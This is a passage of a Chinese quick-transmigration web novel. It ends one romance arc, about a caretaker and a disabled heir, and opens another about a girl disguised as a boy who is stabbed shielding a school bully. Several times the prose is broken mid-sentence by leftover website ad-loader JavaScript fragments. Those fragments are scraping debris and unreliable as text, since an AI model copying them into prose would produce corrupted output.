所以在国外都发生了什么他不知道的?他现在要怎么称呼小白? 不过这么仔细一看,少爷和小白还真挺般配的,他以前怎么没发现。 小白长得漂亮,少爷长得俊,以后两人生的小少爷小小姐肯定好看的不行。 老管家思绪就这么飘远了,回神后才发现大家都进屋了,就他一个人还在外面吹风。 白幺幺本想先回自己房间洗个澡的,不过被小少爷无声祈求的小眼神看着,没三秒就败下阵来,跟着小少爷先上楼去他房间。 出去一趟回来,两人的关系大变样。 现在再进小少爷房间,竟然有种恍如隔世,旧地重游的感觉。 两人在房间里,浴室里的各种互动,就像放电影般,不断在白幺幺脑中闪过,不知不觉笑意溢出嘴角。 安子皓也一个情况,不怎么说两人是睡一张床的人,默契得很。 安子皓比白幺幺更早结束回忆,他拉着人坐到自己大腿上,“幺幺,你是不是偷偷喜欢我很久了?” 白幺幺:“……” 她才来多久,就算是一见钟情,或者说见色起意更准备,反正怎么算,也跟很久扯不上关系。 “没有。” 白幺幺很诚实的回答,她不喜欢撒谎,也没必要在这种事上撒谎,“你应该是能感觉到我什么时候开始喜欢上你的呀!” 安子皓:“……” 他的幺幺真可爱,行吧,他不继续纠结这个问题。 “幺幺,你就一直一直喜欢我,永远不会离开我吗?”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 白幺幺点头,“这辈子我会一直喜欢你,这辈子我也永远不会离开你。” 白幺幺回答时都在答案前加了“这辈子”三个字,这是她能给也能做到的。 她不想骗人,没办法像八师姐那样给八师姐夫许下生生世世在一起的诺言。 她这样应该不算渣女吧! 安子皓并没有发现她话里的端倪,得到想要的承诺,心满意足的将人抱更紧了。 人与人就这么的奇妙,有些人认识了十几年,也擦不出爱情的火花来,有些人才认识没几天,就能爱的死去活人,而有些人明明认识了很久,之前都没感觉,突然有一天,爱神没有预兆的降临。 关系不一样了,白幺幺照顾起小少爷更亲力亲为了,比如脱衣,比如穿衣,再比如陪床等等等。 以前小少爷哪里会让他帮忙这些事,现在的小少爷是彻底放飞自我,脸皮老厚了。 很喜欢白幺幺帮他做这些事,美其名曰小情侣间的情趣。 本来白幺幺就被安排专职照顾小少爷,现在 她和小少爷是这种关系,老管家虽还是小白小白的叫她,不过没再安排她做任何事,都是任她自由发挥。 宅子里的其他人对待白幺幺的态度都下意识展现友好恭敬,毕竟白幺幺能不能成为宅子的主人没人知道,但不要冒然去得罪了准没错。 这天,白幺幺偶然知道小少爷生日快到了,她心血来潮想学做这个世界的奶油蛋糕,到时给小少爷一个惊喜。 可是小少爷太粘人,白幺幺只能见缝插针的找时间学习。 在她那个世界,舞刀弄剑她在行,针线女红她学过,不过笨手笨脚的,怎么都学不会。 至于厨房,她是一次都没进过。 白幺幺是先看了好几个视频教程,将步骤在脑中过了好几遍才踏进厨房的。 当然她没自信到把厨师大叔赶出去,自己一个人闭门造车,自己几斤几两她还是知道的。 再说,她可知道,进厨房还是很危险的,稍不留神会把厨房炸了或烧了。 第25章 残疾少爷的保姆(25) 白幺幺解锁了第二天赋,没想到拿不起绣花针的手,拿起锅铲来耍得虎虎生风,什么奶油蛋糕,上手两三次后,做出来的成品卖相离外面卖的差点,不过味道已经差不了多少。 学会做蛋糕,她开始学做其他菜,没有手忙脚乱,做出来的东西不管卖相味道也还不错。白幺幺想到时小少爷生日那天,好给他做一桌子菜。 就连厨师大叔在旁边都一直啧啧称奇,夸她很有厨艺天赋。 当然,白幺幺积极学做菜,一方面是感兴趣,另一方面是在未雨绸缪。 这个世界轻松完成任务,她却不能掉以轻心,后面是什么样的世界,要做什么任务没人知道。 套用这个世界的一句话,活到学到老,多学点技能总没错,说不定后面世界能用上。 小少爷生日那天,白幺幺还没给小少爷惊喜,小少爷先给他惊喜了。 “真的,你的脚真的能动了?” 白幺幺激动的蹲下身,在小少爷腿上左摸摸右摸摸,稀罕的不得了。 安子皓轻“嗯”了声,嘴角的弧度怎么压也压不下来。 “不过,现在还只能很小幅度的移动下。” 小少爷垂眸,觉得自己还是不够努力。 白幺幺可不知道小少爷的想法,忙宽慰道:“不着急,慢慢来,心急吃不了热豆腐,每天进步一点点,很快你就能站起来。” 小少爷抱住人,他能不心急吗? 他想在上面,也想像其他男人那样完事后抱着幺幺去浴室,他有太多想做的,想为幺幺做的,想和幺幺一起做的。 安子皓转移话题问,“对了,幺幺,你还想上学吗?” 白幺幺的情况他都知道,以前心中没任何感触,只是现在每每想起就心疼得要命,觉得她的幺幺吃苦受委屈了。 “上学?” 白幺幺愣住了,“我还能上学吗?” 很快她就反应过来自己问了个白痴问题,这个世界,无论你几岁想上学,只要你考得上,就算考不上,只要你钞能力够强,想上一辈子学都行。 安子皓心疼的握住那双养了段时间却仍显粗糙的手,“当然可以,到时就把你安排到我现在就读的大学,咱们一起每天上下学。” 小少爷已经开始憧憬他和白幺幺的校园生活,手牵手逛遍校园每一处,图书馆,操场,还有小树林。 上大学啊! 很新颖很有趣的样子。 白幺幺欣然点头,“好呀,我想上学,你给我安排吧。” 没能上大学应该也是原主人生中最大的遗憾吧! 其实白幺幺不太能理解原主,不过她又没办法去评价原主,因为这是个流言蜚语能成为杀人刀的世界。 作为一个无依无靠的孤女,这个世界根本没给她机会选择,她不懦弱,只是不够勇敢罢了,从小到大成长经历和成长环境养出来的性格和思想根深蒂固,她很难改变,就算想改变,又有谁能带着她改变。 安子皓问:“那幺幺有什么想学的专业吗?” 白幺幺认真想了想,“我想学医行吗?” 白幺幺觉得会点医术傍身,后面去到世界条件恶劣的,她不仅能自救还能当挣钱的营生,而且她精通人体穴位,学起医来应该能事半功倍。 他的幺幺想学医是因为他吗? “幺幺!” 安子皓低头封住白幺幺的唇,热烈的爱意疯狂涌起。 白幺幺被吻得有点莫名其妙,不明白不是好好的在讨论她上大学的事吗?小少爷怎么就又这样了,也幸好此时客厅没人。 一吻毕,小少爷才继续白幺幺上学的话题。 “幺幺,学医很累的,你要不要换个专业,换自己喜欢的,比如教育相关专业。” 小少爷想更了解白幺幺,所以他有让人去调查,厚厚的资料,涵盖了白幺幺从小到大能查到的所有信息。 资料里,她的幺幺是那么的优秀,成绩极好,爱好绘画,不过因为家庭原因,只能将这个爱好埋藏,如果当年能按部就班参加高考,他的幺幺 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 未来应该会是一名优秀的老师。 白幺幺是怕累的人吗? 肯定不是,她想也不想说:“不用了,而且我喜欢学医。” 小少爷更感动了,从白幺幺眼中看到对学医的坚定,他便没再说什么。 “好,幺幺想学医咱们就学医。” 安子皓想,刚好安家旗下有几家十几家医院,到时等幺幺毕业了,把这些医院交给幺幺去管理。 白幺幺上大学的事就这样定下来了。 第一次要上大学,白幺幺有些兴奋,她开始网上查找各种帖子,看需要什么好提前准备,还有了解一些上大学需要注意的问题。 考虑到自己毕竟不是原装的原主,运用起脑中原主学的那些东西可能没法完全得心应手,白幺幺开始抱着书看,越看越沉迷。 没办法,这就是知识的力量,科学的魅力。 她这一行为间接冷落了小少爷,还引得小少爷像深闺怨妇般时不时投给她一个幽怨的小眼神。 不过小少爷还是拧得清轻重的,知道白幺幺有多重视上学的事,哪里敢去干扰她看书。 而且,他也开始忙起来,之前受伤后积累了好些工作没做。 安老爷子已经被他喊回来去公司坐镇了,这几天他开始忙订婚的事,因为是他和幺幺的订婚宴,事事他都想亲力亲为,给幺幺最好的。 这事他还没告诉幺幺,想在订婚宴的前几天给幺幺一个惊喜,向她求婚。 至于幺幺会不会答应他的求婚,小少爷不接受第二种结果。 也幸好白幺幺近期沉迷于学习,不然小少爷的惊喜根本没办法进行,早就被发现端倪了。 这天,白幺幺放下书本,揉揉眼睛准备休息下,看书学习必须讲究个劳逸结合,她拿出手机想玩玩,就看到一则新闻。 国外的那家医院被查封了,医院背后的某个大家族掌权人被捕入狱,商业帝国摇摇欲坠,大厦倾覆只是时间问题。 白幺幺拿着手机,噔噔噔跑上楼去找小少爷了。 第26章 残疾少爷的保姆(26) 听到脚步声,小少爷眼疾手快的合上电脑。 白幺幺推门进来时并没有注意到小少爷那还没来得及掩饰的表情,她把手机屏幕对着小少爷,让他看上面的内容。 等小少爷看完,她才问“你做的?” 小少爷点了点头,又摇了摇头。 白幺幺:“???” “说人话!” 说人话这个词是白幺幺新学的,算是她这段时间的口头禅了。 谁让小少爷这段时间解锁了各种小眼神,让一心沉迷学习的白幺幺同志有些招架不住。 “这家医院私下拐卖多国公民进行人体实验,其中近几年就戕我国公民近百名,国家老早就关注这家医院了,只等找准时机出手。” “所以,我也没做什么,就是把查到的东西发给爷爷,然后爷爷提议和国家合作。之后就是爷爷那边配合了一些国家行动,能彻底斩草除根也是多国合作才有这样的结果。” 白幺幺听明白了,想到什么她问,“那个父亲呢?” “他很好,不过需要接受一段时间的心理治疗。” “哦,我走啦。” 白幺幺拿着手机准备下楼继续奋战,只是她才转身,手就被人拉住了。 “幺幺,我们还从没在书房……” 白幺幺:“……” 这人真是的,白幺幺觉得这次她必须坚定,不能每次都妥协。 “我要下去学习了,还有白日宣淫不好。” “幺幺就一次好不好。”小少爷轻轻甩着白幺幺的手。 白幺幺咬了咬唇,摇头,“不行。” 这回她一定坚定自己的态度,不能回回都让小少爷得逞。 “好吧。” 小少爷失望的低垂下脑袋,一副像被主人抛弃的大狗狗模样。 又来了! 白幺幺别过脑袋装没看到,可是小少爷那轻的刚好只能让她听到嘀咕声,还是让她破功了。 “幺幺要学习,我要体谅幺幺,要听幺幺的话,不然会被幺幺厌烦的。” 坚定啥的,见鬼去吧! “说的一次哦!” 听到白幺幺的话,小少爷猛然抬头,眼里亮晶晶的。 他重重点头,“嗯,一次。” 现在小少爷已经能站起来,还能勉强走两步。除了安老爷子和老管家,对外都是封锁消息的。 小少爷一直很努力在复健,他希望在订婚那天,能摆脱轮椅,给幺幺一个完美的订婚宴。 白幺幺再次知道白晴的消息,是从娱乐八卦新闻看到的。 灰姑娘挟恩图报,要求秦家小少爷以身相许! 白幺幺:“……” 这女主在搞什么? 知道从她这边撬不走墙角,所以换目标了,不可否认,这目标选得不错。 可是,挟恩图报是什么鬼! 白幺幺好奇的将文章看完,再次被女主给整无语了。 十天前,秦家小少爷出了一场车祸,当时情况万分凶险,周遭不见人影,也没有车路过。 然后白晴出现救了小少爷,在她救小少爷救到一半时,又有另一个女的出现,对方发现这边情况,也忙跑过来帮忙一起救人。 接着两人就都成了秦家小少爷的救命恩人,只是很巧合的,另外那个女的是一名护士,刚好在秦家小少爷住的医院工作,还被安排负责照顾他。 同样是救命恩人,相较于白晴目的性太强,整天往医院跑,给秦家小少爷嘘寒问暖,另一个救命恩人护士,人家照顾人是职业职责,平时态度也表现的疏离。 反正最后就是,秦家小少爷直接给两人一笔钱来报答救命之恩,那个护士小姐想了想把钱收下了。 而白晴,她救人可不是冲着这么点钱去的,她要的是秦家小少爷这个人。 当你把别人当傻子耍的时候,也要做好被人当傻子耍,反正人最忌讳的就是自作聪明,这世上最不缺的就是聪明人。 就白晴那点心思,人家秦小少爷会看不出来。 看看网上的报道不就知道了,没有秦家授意,谁敢乱报秦家小少爷的八卦新闻。 就是不知道白晴做了什么,惹到秦小少爷,这样的新闻被大肆传播,白晴不仅进不了秦家,以后想找这个圈子 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的也很难。 反正几次接触下来,白幺幺觉得这个又蠢又毒的女主最后肯定会把自己玩死,根本不值得她关注或者动手。 一个月后,订婚宴如期而至。 不管是求婚还是订婚宴安排布置,小少爷自以为隐瞒的很好,那是白幺幺故意配合的。 订婚宴上,白幺幺一出场,直接惊艳众人,有些男士虽很快掩饰,眼中继惊艳后的惋惜神情还是被白幺幺看到了。 白幺幺当然知道他们在惋惜什么。 哼! 之前小少爷一直努力复健,她心疼极了,至于小少爷为什么要这样,她哪里会不能明白。 都是这些无关紧要的人,总是戏那么多,很喜欢在别人生活中找存在感。 当小少爷站起来,走向她时,众宾客表情各异。 订婚宴很隆重,白幺幺一下子成了让人羡慕嫉妒的安家少夫人。 订婚宴结束后,白幺幺就慢慢淡出大家视线,她依旧沉迷学习,对那些个豪门太太外交不感兴趣。 学校那边安排好,她开始每天和小少爷一起上下学。 第一学年还可以,后面白幺幺课业越来越繁重,小少爷要兼顾学业和公司,白幺幺不想小少爷太累,坚持不让他每天不仅陪着她一起来学校,还等着她一起回去。 她的课业安排比小少爷多,小少爷课比较少,每次都把公司的事拿来学校处理,有些棘手的,等回去后吃完饭偶尔还要跑公司去处理。 这或许是白幺幺目前对小少爷撒娇卖萌装可怜没反应,一直坚持自己态度的唯一一件事了吧! 大学一毕业,白幺幺就被小少爷拉去领结婚证并举办了盛大的婚礼。婚后第五年替小少爷生下一个女儿,除去工作时间,夫妻俩都觉得二人世界的时间太少了,所以女儿就被小少爷打包给老爷子带。 白幺幺在这个世界活到一百零六岁高龄,她的人生很充实,不是在治病救人,就是在陪着小少爷,偶尔陪陪女儿,不是她不爱女儿,而是小少爷年纪越大占有欲越强,经常连女儿的醋都吃。 送走小少爷后,她心空落落的,没几天她也离开这个世界了。 第27章 校霸和他的女扮男装小跟班(01) “霍少,我知道错了,真知道错了,求你放过我吧。” 黄毛现在哪里还顾得什么男儿膝下有黄金,扑通跪地磕起头来,他身后的一干小弟见老大都认怂了,也纷纷跟着跪地。 呲啦的一声。 霍毅漫不经心的把玩起不知什么时候从口袋里摸出来的打火机,愣是一个眼神也没给面前跪的一群人。 场面一时陷入僵局。 就在霍毅摸出一根烟准备点上时,左侧衣摆被人拉扯了下,力道很轻。 霍毅皱眉,转头看向左侧才到他肩膀高的瘦弱少年,“艹,和你说几次了,有事说事,别总是对老子动手动脚的。” 少年被凶了,身体条件反射缩了缩脖子,似乎是反应过来这样不妥,忙又挺直脖颈,小声道:“对不起霍少,下回我会注意的。” 霍毅吞吐了口烟,脸上尽是不耐,“有什么事快说。” 要不是这人从小就跟在他屁股后面,怎么甩也甩不掉,看在人还算听话的份上,除了性格弱懦不爷们点,其他的倒是不让人讨厌,他才勉强让人一直留在身边做个跑腿的小跟班。 “快上课了,我们要赶紧走,不然会迟到的,霍爷爷……” 少年说话细声细气的,也幸亏他和霍毅挨的近,不然霍少一个没听清,火气准又上来,而少年话并未说完,有点到为止的意思。 “烦人!知道了。” 霍毅掐灭手中才吸了一口的烟,转身率先离开,从头至尾都将跪地上的黄毛一群人无视掉。 少年转身跟在霍毅身后,变故就发生在这电光火石之间。 跪在黄毛右后方的一个小弟突然摸出一把十几厘米长的匕首,在众人惊愕的目光下,想要朝霍毅的后背捅去。 匕首,捅人,鲜血四溅的场面。 变故发生得太快了,所有人都还只是学生,当场都吓傻了。 最先反应过来的是霍毅,他一脚将还欲继续行凶的人踢飞,同时伸手接住摇摇欲坠的身体,转头冲着身边的人低吼,“还不快打电话!” 回过神的李明义忙掏出手机开始打电话,今儿这事真是…… 那是霍毅呀,刚刚要是霍毅真的出事,后果简直不敢想象。 一向斯文的他,都不免在心里骂了句艹你妈的。 “嘶!” 好痛。 白幺幺想骂人,她这次进入小世界的时间选得真的凶险异常,差一点点就要出师未捷身先死了。 幸好她反应够快,虽然没法完全躲开刺过来的匕首,但好歹避开了心脏被捅,小命当场噶了的下场。 原主身体太弱了,后背血窟窿看着很吓人,血一直在流,白幺幺进入身体还没能来得及接收记忆就晕死过去了。 等她再次恢复意识,睁开眼没有意外的,入目是一片的白,空气中除了消毒水的味道,还有淡淡的血腥味。 她转头看了看四周,病房里没其他人,暂时就她一个人。 完成上个世界任务后,白幺幺并没有选择情感剥夺和消除记忆,这样做只会阻碍她变成一个真正强大的人。 宗门覆灭,看着至亲至爱的人在自己面前被杀,让白幺幺明白了一个道理,想要守护住自己最重要的人事物,就只能让自己成为真正强大的人。 她并没有让自己陷入回忆太久,就将这些尘封起来,开始接收小世界的剧情。 原主出生在京市四大家族之一的白家……的一个旁系,还是很不起眼很不出彩的旁系。 若不是还和白家沾上那么点关系,一家估值不足千万的小公司,在京市真的不算什么。 可是原主的母亲不这么想,从农村来到大城市,入了原主父亲的眼,再凭借点手段,如愿实现了她自以为的阶级跃迁。 为了坐稳总裁夫人的位置,当生下双胞胎女儿后,医生告诉她因为生双胞胎难产导致她以后恐难再有孕了。 原主的母亲本就出生在一个极度重男轻女的家庭,从小耳濡目染下,更能体会生儿子对一个女人的重要性。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 原本怀双胎时,她高兴极了,特别是让医生看性别,知道一个是女儿,另一个虽然有点被挡住,不过大概率是儿子。 龙凤胎啊,开头就是个好字,好兆头,她觉得自己未来人生只会越来越好。 现在医生告诉她,生的不是龙凤胎,两个孩子都是女孩,而且她还因为生下这两个孩子伤了身体,以后难在有孕。 这怎么行,不行,绝对不行。 她不是什么都不懂的傻女人,而且自己枕边人是什么货色,她最清楚不过。 俗话说,女人不狠地位不稳。 原主母亲简单一琢磨,做出了一个疯狂的决定。 她花重金收买产房里的医生护士,同时编了一个故事骗他们,说她嫁了一个极度重男轻女的家庭,公婆和老公早早就放话,如果她这一胎要是没能生出一个儿子来,就把孩子全部送人。 反正医生护士们信了没有,一点都不重要,只要他们收下钱,出去向家属报喜时说生的是龙凤胎就行。 也幸好,她孕期反应比较大,是回娘家养的胎,医院的医生护士没人知道她的身份,就算有谁拿了钱,嘴 却不严实,反正她以后都带着孩子在京市,影响不到她的。 至于让哪个女儿当男孩子养,原主母亲生产时能感觉到大女儿迟迟不出来,她不知痛了多久,大女儿才出来,之后小女儿很快就出来了。 所以,她看着小女儿是越看越顺眼,越看越喜欢。 没啥好选择的,大女儿作为姐姐,就该她来承担,这是她的命。 原主就这样明明是女儿身,却被当作男孩子来养。 原主母亲对她很严厉,平时经常挨训,训完后,原主母亲总会用怒其不争的语气说,“都是一个娘胎出来的怎么就差那么多,如果你真是男孩子就好了,可惜你不是就算了,同为女孩子,看看你和你妹妹差距那么大,性格唯唯诺诺、阴郁沉闷的一点都不讨喜,难怪就算是男孩子,也不得你父亲喜欢,真是没用。” 第28章 校霸和他的女扮男装小跟班(02) 原主是娘胎里带出来的体弱,本来就是个女孩子,因着原主母亲的私心,女扮男装,底子在那,无论如何装也装不来男孩子的阳刚。 一开始原主的父亲是两个孩子都喜欢,当然有了儿子的前提下,龙凤胎妹妹似乎就更招人疼了。 儿子是要继承家业的,虽不至于要穷养,但严厉点总没错。而女儿娇娇软软的,多可人疼,平时就多宠着点。 后来随着两个孩子渐渐长大,他对待两个孩子的态度简直天壤之别。 小女儿是在被宠爱包围着长大的,长成了娇俏明媚可爱的样子,十分得他宠爱。 大儿子就有点一言难尽了,那副瘦瘦弱弱的模样不知道还以为被他亏待了,性格和他妹妹天差地别,胆小懦弱,尽显小家子气,各方面都没他妹妹优秀。 原主父亲渐渐对这儿子失望了,觉得就是个扶不起的阿斗,而且其实真的是原主母亲以小人之心度君子之腹了,原主父亲并没有重男轻女的思想。 在看到大儿子越长大越不堪,根本就难挑起大梁,他早就动了以后让小女儿接手家业的心思。 当然,原主父母两人还没完全放弃原主是有原因的,也不知道原主是走了什么狗屎运,能跟在霍少身边当小跟班,一直到现在还没被驱赶走。 能够搭上霍少,在原主父母两人看来,原主也就这点可取之处了。 如果白幺幺没进入这具身体,那么原主将因为替男主霍毅挡下刺来的匕首,在救护车还没来时就断气了。 而这方世界的女主就是原主的双胞胎妹妹白宝珠,原主为救男主而死,救命之恩,正主没了,男主要报恩当然只能对原主的家人。 原主这一世活得很憋屈,很压抑。 原主母亲给她取名叫白承继,承继,继承,一开始她就是个继承家业的工具人。 后来,原主就是为了给女主一个救命恩人之妹身份的炮灰工具人,功成身退,死遁了。 原主不甘心,自己这一辈子从呱呱坠地开始就身不由己,最后死了也还在为他人做嫁衣,这个他人还是她不喜欢的妹妹。 没错,原主不喜欢自己的妹妹,只不过是相差两分钟出生,为什么就选了她,为什么小小的她要承担那么多。 原主只是纯粹不喜欢妹妹,没有恨也没有嫉妒,因为妹妹也不喜欢她,甚至她在妹妹眼中看到了对她的厌恶。 所有人都喜欢妹妹,都觉得她的性格不讨喜。 原主不明白,她从小体弱,身上又背负着那样的秘密,能不整天活得战战兢兢。 而且她本来就是女孩子,再怎么去伪装男孩子,本质上不还是女孩子,一个个都喜欢嘲笑她没有阳刚之气,就问她要怎么有。 其他的原主都可以自己看开,可女主借着她用生命换来的恩情进入男主的世界,最后嫁给男主,彻底让原主爆发。 从小到大,妹妹得到太多太多,父母的宠爱,健康的身体,做女孩子的权利,漂亮的衣服,撒娇的权力…… 原主羡慕过,却没有嫉妒。 如果女主是通过自己本事认识男主,嫁给男主,原主只会再次羡慕妹妹,也仅仅是羡慕,然后缩起来慢慢消耗自己的低落情绪。 可不是的,她用命换来的恩情,凭什么就不能回报到她自己身上,太不公平了,原主觉得这个世界对她太不公平了。 有的人生来不用主动去索取,什么好的香的都会主动往她身边凑,有的人明明不贪心,仅仅只是那么小小的渴求,却从没没被满足过。 大致看完剧情,受原主残留的影响,白幺幺胸膛微微上下起伏,她能感觉到原主的那种不甘,细细弱弱的,很温和没有半丝杀伤力。 所以说呀,活到最后的人才是笑到最后的。 死去的人永远最不值,就像原主,如果她救了男主后没死,有了救命之恩在,只要原主不作死,有男主一直护着,她的生活应该只会更好,不会更差。 而她死了,自己啥好处没捞着,全便宜了活着的人,最重要那群 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 活着的人还对她不好。 平复了下因原主残留意识影响而产生的情绪,白幺幺开始查看原主的愿望。 看完后,白幺幺嘴角狠狠抽动了下。 算是活了三世的人,白幺幺自认为自己已经是个心性成熟的老怪物了,可她还是被原主的脑回路小小惊讶了下。 想像妹妹那样被很多很多人喜欢,可是什么叫在以不改变她性格的为前提。 原主也知道自己的性格不讨喜,要像妹妹那样的才讨喜,可是她就是这样的性格,她喜欢这样的自己,她也喜欢像妹妹这样性格的人,但他就是不喜欢自己成为这样的人。 这个世界上本就没有两片一模一样的叶子。 做自己和被很多人喜欢,她为什么就不能同时拥有。 原主的愿望有两个,另一个愿望就是希望找到一个爱她如命,危险来临时能毫不犹豫挡在她面前的另一半。 这第二愿望应该是受自己舍命救人启发的吧! 果然,这次的任务开始开始有点难度了。 病房门被推开,穿着鹅黄色连衣裙的少女脸上带着浅浅笑意来到病床边,自顾在 旁边凳子上坐下。 她先给自己倒了杯水,一口喝掉小半杯,才看向白幺幺。 “哥,你醒了,要喝水吗?” “不用,我,我自己来就行。”白幺幺垂了垂眸,声音显得有些有气无力。 “行吧,哥,自己想喝多少自己倒。” 少女也就是白宝珠没有上赶着伺候人的癖好,她环顾病房一圈,不满的嘟囔,“哥,霍毅呢?怎么没看到人,这次你为了救他差点连命都没了,昨天等到手术结束就离开了,到现在都还没再过来过,真是有点太过份了。” 白幺幺:“……” 现在才早上八点多,说句一天才刚开始不过分吧,人家或许现在刚睡醒,就算要来看她这个病人,吃个早饭再来不过分的,当然也可能人家现在就在来的路上也说不定。 第29章 校霸和他的女扮男装小跟班(03) 况且人家干嘛非得大早上就过来,中午过来,下午过来,晚上过来不行吗? 还有女主一大早空着手来看自己住院的哥哥,连个早餐都没带,打着什么主意简直司马昭之心。 年龄还是太小了,各种小心机明显人稍加用心都能看出来。 不过有一点,这个女主还是有点小聪明在的,明知霍毅的身份,知道两人身份悬殊,却跟着绝大部分人喊老大或者霍少,而是直接喊名字,不过是故意仗着多种因素,装傻充愣的这般喊,其中最重要的因素还是原主提供的底气。 直接喊名字,可以模糊掉两人身份的悬殊,也能表现出女主的不一样,意识里人人平等,当然关键是她和霍毅是平等的。 在前面那个世界,活了一百多岁,白幺幺可不是白活的。 晚年,她迷上了看各种小说,啥题材都看,当然看最多的就是快穿小说。 她觉得自己到各个小世界完成原主心愿,如果写成故事,不也是一本快穿小说。 反正,真诚是必杀技,在她面前耍小心机,那简直无异于是关公面前耍大刀。 白宝珠坐着无聊便拿出手机开始玩,白幺幺也有点无聊,她开始隐晦的打量起女主来。 双胞胎,虽不说长得完全一模一样,但也有至少九分的相像。 暂时没镜子可以看看自己长什么样子,看看女主,脑中也能大概有个底。 原主母亲一个村里出来穷姑娘,最后能嫁给原主父亲,容貌姿色肯定是有的。 女主皮肤白皙,脸上微微有点肉感,俏皮可爱。目前还没完全长开,不过单从五官和骨相看,也不能昧着良心说什么说不定长大了就长残的话。 而原主,白幺幺抬手看了看,暗暗在心里松了口气。幸亏原主没有为了让自己更像男人点,去把皮肤晒成古铜色。 相反的,她的皮肤冷白冷白的,似乎比女主还白上一点点。可能是因为从小体弱原因,很多户外活动,原主就算想让自己更像男人点,也心有余力不足。 所以原主没办法,只能把自己往书呆子方向塑造,或许原主做过最出格的事,就是追在男主后面,给他当小跟班。 白宝珠玩手机玩得太投入,也没察觉到有人在看她。 九点多的时候,原主母亲提着几个食盒过来了。 “珠珠,你一大早怎么跑这里来?” “我来看看哥哥。” 白宝珠随手把手机放桌上,摸着肚子朝白母撒娇。 “妈,我饿了,你都带什么好吃的过来,我瞧瞧。” “你还没吃早餐就跑出来!” 白母嗔怪的瞪了小女儿一眼,“下回可不能这样的,到时把胃搞坏了怎么办。” “知道啦,知道啦,我这不是担心哥哥,急着来医院就忘记吃了。” 说完,白宝珠还搞怪的对白母吐了吐舌头。 在一旁看着母女互动的白幺幺:“……” 原主这孩子不容易呀! “哇,都是我爱吃的。” 白宝珠打开白母带来的东西,惊呼感叹,“妈,咱们亲母女果然存在心灵感应,你肯定是感应到我没吃早餐就来医院,所以带着我爱吃的东西来了。” 白幺幺:……自己的存在感有这么低吗,直接被两人忽视得彻底。 白母被小女儿的话逗乐了,“慢点吃,没人跟你抢。” 白幺幺:合着她不是人呗! “妈,我,也饿了!” 一道细弱蚊蝇的声音打破了母女温馨互动的画面。 白母还没说什么,白宝珠先惊讶的看过来,“哥,你也还没吃早餐?” 白幺幺:她应该要吃早餐了吗? 像是想到什么,白宝珠懊恼的皱了皱小鼻子,“哥,你怎么不早说,我不小心把妈给你带的早餐吃了。” 白幺幺正想说没事的,被白母抢先道:“珠珠没事的,你继续吃,你哥现在的情况不适合吃太多,我带的量多,够你们兄妹两吃的。” 白幺幺:……伤口疼,她还是先摆烂吧,躺平吧! 本以为要自己动手丰衣足食的,没成想一碗粥被递到自己面前。 虽然这个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 孩子不是她期盼的儿子,生产时还让她遭大罪,性格又不讨喜,但也是自己十月怀胎生出来的,昨儿还差点没了。 白母神色复杂的把粥递给白幺幺,“先喝点粥垫垫胃,中午再让炖点鱼汤送过来。” “嗯,谢谢妈。” 白幺幺接过粥碗,开始小口小口的吃起来。 张了张唇,白母看了眼旁边吃的欢快的小女儿,最终什么也没说。 昨天要不是她刚好来医院处理点事情,守了十几年的秘密差点…… 难怪她昨天一大早醒来就有点心绪不宁,想埋怨这孩子怎么就那么傻,不要命的上去给人挡匕首,不仅命差点没了,她们隐瞒那么久的秘密也差点暴露。 可是看到人脸白得跟死人似的,身上到处都是血,被霍家那位抱着,知道是替霍家少爷挡的匕首,白母那时真的找不到任何词来形容她心情。 如果她孩子是为了救些乱七八糟的人受伤死去,她或许会当场发疯,破口大骂,想把 人骂醒,也会很失望,自己怎么就生出如此不自爱的傻玩意,竟然拿命去救人。 可救的是霍家少爷,似乎什么东西又不一样了。 白母无论如何也不会承认,潜意识里,她竟然觉得霍家少爷的命比自己孩子更金贵。 白幺幺吃完擦了擦嘴,准备躺下休息。 应该是昨天血流太多了,才吃完一碗粥,人就开始没精神。 见她准备躺下休息,白母边收拾东西边说:“你好好休息,下午你爸出差回来会过来医院看你。” “昨天你差点把你爸吓死了,幸好你没事,你爸还想立马买机票回来,不过被我阻止了,让他按照原定行程今天回来。” 话说到这里了,白母继续道:“你下回别那么莽撞了,伤在儿身,痛在娘心,你要是出什么事,让我和你爸怎么办。” 要说白母完全不爱原主,那肯定不是。 两个孩子,她只是更爱小女儿。对大女儿心里存在些站不住脚的迁怒,更因为心中藏着大秘密,偶尔需要发泄,大女儿就成了很好的发泄对象。 第30章 校霸和他的女扮男装小跟班(04) 会哭的孩子有糖吃,可原主不会哭呀,总是默默地承受白母的负面情绪,加上原主越长大,秘密暴露的风险越大,白母发脾气的频率也多了,简直就是一个恶性循环,慢慢的,母女两的关系就越来越不好。 白母离开时把小女儿也带走了。 白宝珠本不想走的,可是看白幺幺都躺着睡觉了,她继续留下来也很奇怪,就跟着白母离开了。 而此时霍家。 李明义,张泽凯,辰东三人熟门熟路来到霍毅房门前,四人虽是从小一起长大的兄弟,关系很好,但让他们没敲门就进霍毅的房间,反正他们是没谁有这个胆子。 霍毅从小领地意识就很强,不喜欢别人进入他的私人空间,熟人想要进入必须要征求过他同意,不然挨一顿打是轻的。 三人,辰东走在最前面,所以门由他来敲。 “哥,我们三能进去吗?” 正趴在床上的霍毅回头看看后背的情况,上面的药水还没完全干,往门方向看了一眼,才惜字如金道:“进。” 三人进来第一时间就看见了霍毅背上的伤,一个个皆是面露了然。 谁打的,他们闭着眼睛都能猜到。 辰东啧啧两声,“哥,霍叔叔下手也太重了吧!” 张泽凯赞同的点头,“你都差点没命了,霍叔叔怎么还打你了?” 昨天的事就像个核弹,在圈子里炸开。 霍毅呀,霍家第三代目前唯一一棵独苗苗的,竟然有人想杀他! “哥,昨天的事查清楚了吗?幕后黑手找出来了?” 